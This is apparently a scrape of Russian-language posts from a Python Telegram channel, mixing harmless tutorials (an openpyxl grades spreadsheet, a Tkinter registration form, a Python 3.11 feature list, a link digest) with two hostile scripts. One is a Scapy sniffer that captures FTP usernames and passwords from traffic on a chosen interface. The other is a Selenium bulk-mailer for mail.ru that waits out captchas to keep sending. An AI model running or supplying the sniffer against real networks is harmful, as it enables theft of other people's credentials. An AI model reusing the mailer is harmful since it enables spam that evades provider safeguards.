Создание и работа с excel-файлами с помощью python-скрипта.
from openpyxl import Workbook
from openpyxl.utils import get_column_letter
from openpyxl.styles import Font
#making the grid and giving the data
data = {
"Joe": {
"math": 65,
"science": 78,
"english": 98,
"gym": 89
},
"Bill": {
"math": 55,
"science": 72,
"english": 87,
"gym": 95
},
"Tim": {
"math": 100,
"science": 45,
"english": 75,
"gym": 92
},
"Sally": {
"math": 30,
"science": 25,
"english": 45,
"gym": 100
},
"Jane": {
"math": 100,
"science": 100,
"english": 100,
"gym": 60
}
}
wb = Workbook()
ws = wb.active
#assigning the title
ws.title = "Grades"
#giving proper formatting for columns
headings = ['Name'] + list(data['Joe'].keys())
ws.append(headings)
#reading the data for persom
for person in data:
grades = list(data[person].values())
ws.append([person] + grades)
for col in range(2, len(data['Joe']) + 2):
char = get_column_letter(col)
ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}"
#assigning the colour and text type
for col in range(1, 6):
ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF")
#saving the excel file in the same folder
wb.save("NewGrades.xlsx")
@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Лучший способ получать свежие обновлении и следить за трендами в разработке.
Машинное обучение: t.me/ai_machinelearning_big_data
Python: t.me/pro_python_code
C#: t.me/csharp_ci
C/C++/ t.me/cpluspluc
Data Science: t.me/data_analysis_ml
Devops: t.me/devOPSitsec
Go: t.me/Golang_google
Базы данных: t.me/sqlhub
Rust: t.me/rust_code
Javascript: t.me/javascriptv
React: t.me/react_tg
PHP: t.me/phpshka
Android: t.me/android_its
Мобильная разработка: t.me/mobdevelop
Linux: t.me/+A8jY79rcyKJlYWY6
Big Data: t.me/bigdatai
Хакинг: t.me/linuxkalii
Тестирование: https://yangx.top/+F9jPLmMFqq1kNTMy
Java: t.me/javatg
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy
🇬🇧Английский: t.me/english_forprogrammers
Please open Telegram to view this post
VIEW IN TELEGRAM
🐍Ten New Features of Python 3.11 That Make Your Code More Efficient
10 новых возможностей Python 3.11, которые сделают ваш код более эффективным.
01 Pattern Matching
*изображение 1.
02 Structural Pattern Matching
*изображение 2.
03 Type Hints and Checks
*изображение 3.
04 Оптимизация производительности
*изображение 4.
05 Улучшения отчетов об ошибках
*изображение 5.
06 Новая стандартная библиотека zoneinfo
*изображение 6.
07 iterate
*изображение 7.
08 Merge Dictionary Operator
*изображение 8.
09 Новая функция точки прерывания отладки
*изображение 9.
10 Синхронная итерация
*изображение 10.
@pythonl
10 новых возможностей Python 3.11, которые сделают ваш код более эффективным.
01 Pattern Matching
*изображение 1.
02 Structural Pattern Matching
*изображение 2.
03 Type Hints and Checks
*изображение 3.
04 Оптимизация производительности
*изображение 4.
05 Улучшения отчетов об ошибках
*изображение 5.
06 Новая стандартная библиотека zoneinfo
*изображение 6.
07 iterate
*изображение 7.
08 Merge Dictionary Operator
*изображение 8.
09 Новая функция точки прерывания отладки
*изображение 9.
10 Синхронная итерация
*изображение 10.
@pythonl
Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих.
import openpyxl
from tkinter import *
from tkinter import messagebox
def register():
# Get the user input from the form
first_name = first_name_entry.get()
Last_name = Last_name_entry.get()
email = email_entry.get()
Mobile = Mobile_entry.get()
# Create a new row with the user input
new_row = [first_name, Last_name, email,Mobile]
# Append the new row to the Excel sheet
workbook = openpyxl.load_workbook("registration_data.xlsx")
sheet = workbook.active
sheet.append(new_row)
workbook.save("registration_data.xlsx")
messagebox.showinfo("Success", "Registration successful!")
# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')
# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()
Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()
email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()
Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()
register_button = Button(root, text="Register", command=register)
register_button.pack()
root.mainloop()
@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥Email sender script (Selenium + Python)
Скрипт рассылки писем по Email (Selenium + Python).
@pythonl
Скрипт рассылки писем по Email (Selenium + Python).
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv
# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = [email protected]
PASSWORD = password
# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')
# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)
# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)
# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)
# Мы авторизовались, теперь тащим адреса из файла.csv
# Содержание файла
# ФИО,Email
with open('email_list.csv', encoding="utf-8") as file:
EMAIL_LIST = csv.reader(file)
# Запускаем цикл
for row in EMAIL_LIST:
# Если mail что то заподозрит, то выкинет капчу,
# мы получаем except, ждем некоторое время, и снова отправлем письмо
try:
# ФИО <Email>
email_to = row[0] + "<" + row[1] + ">"
# Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)
browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
time.sleep(3)
# Заполняем поле кому
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
time.sleep(1)
# Нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# После отправки открывается модальное окно, закрываем его
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
except Exception:
# Сообщаем пользователю, что скрипту необходимо переждать
print('Error! Wait 1 hour\n')
# Ждем час (можно меньше)
time.sleep(3600)
# Снова нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# Снова закрываем модальное окно
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
print('SUCCESS!')
time.sleep(500)
@pythonl
carbon - 2023-08-08T115041.994.png
1.3 MB
Перехват FTP-пароля с помощью Python.
from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final
def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)
except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()
📌 Код
📌 Статья@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🟡 This week's digest of useful content from the world of Python
Дайджест полезных материалов из мира Python за неделю.
Почитать:
— Разработка событийно-ориентированных микросервисов с помощью Python
— Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2
— Я люблю питон, и вот почему он меня бесит
— Список популярных утечек с GitHub: Анализ репозиториев компаний
— PyCon Russia 2023. Зона Python. Краткий обзор докладов
— Менеджеры контекста в Python
— Что происходит, когда запускаешь «Hello World» в Linux
— Ускорение кода с помощью многопроцессорной обработки в Python
— Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore
— Перехват FTP-пароля с помощью Python
— Как Python использует сборку мусора для эффективного управления памятью
— Converting An Image File Into PDF Using Python
— Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces
Посмотреть:
🌐Как работать с декораторами в Python. Часть 1
🌐 Методы сокращения и улучшения кода на Python
🌐 Продвинутые методы улучшения кода на Python
🌐 Создаем продвинутый интерфейс на Python
🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course
Хорошего дня!
@pythonl
Дайджест полезных материалов из мира Python за неделю.
Почитать:
— Разработка событийно-ориентированных микросервисов с помощью Python
— Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2
— Я люблю питон, и вот почему он меня бесит
— Список популярных утечек с GitHub: Анализ репозиториев компаний
— PyCon Russia 2023. Зона Python. Краткий обзор докладов
— Менеджеры контекста в Python
— Что происходит, когда запускаешь «Hello World» в Linux
— Ускорение кода с помощью многопроцессорной обработки в Python
— Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore
— Перехват FTP-пароля с помощью Python
— Как Python использует сборку мусора для эффективного управления памятью
— Converting An Image File Into PDF Using Python
— Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces
Посмотреть:
🌐Как работать с декораторами в Python. Часть 1
🌐 Методы сокращения и улучшения кода на Python
🌐 Продвинутые методы улучшения кода на Python
🌐 Создаем продвинутый интерфейс на Python
🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course
Хорошего дня!
@pythonl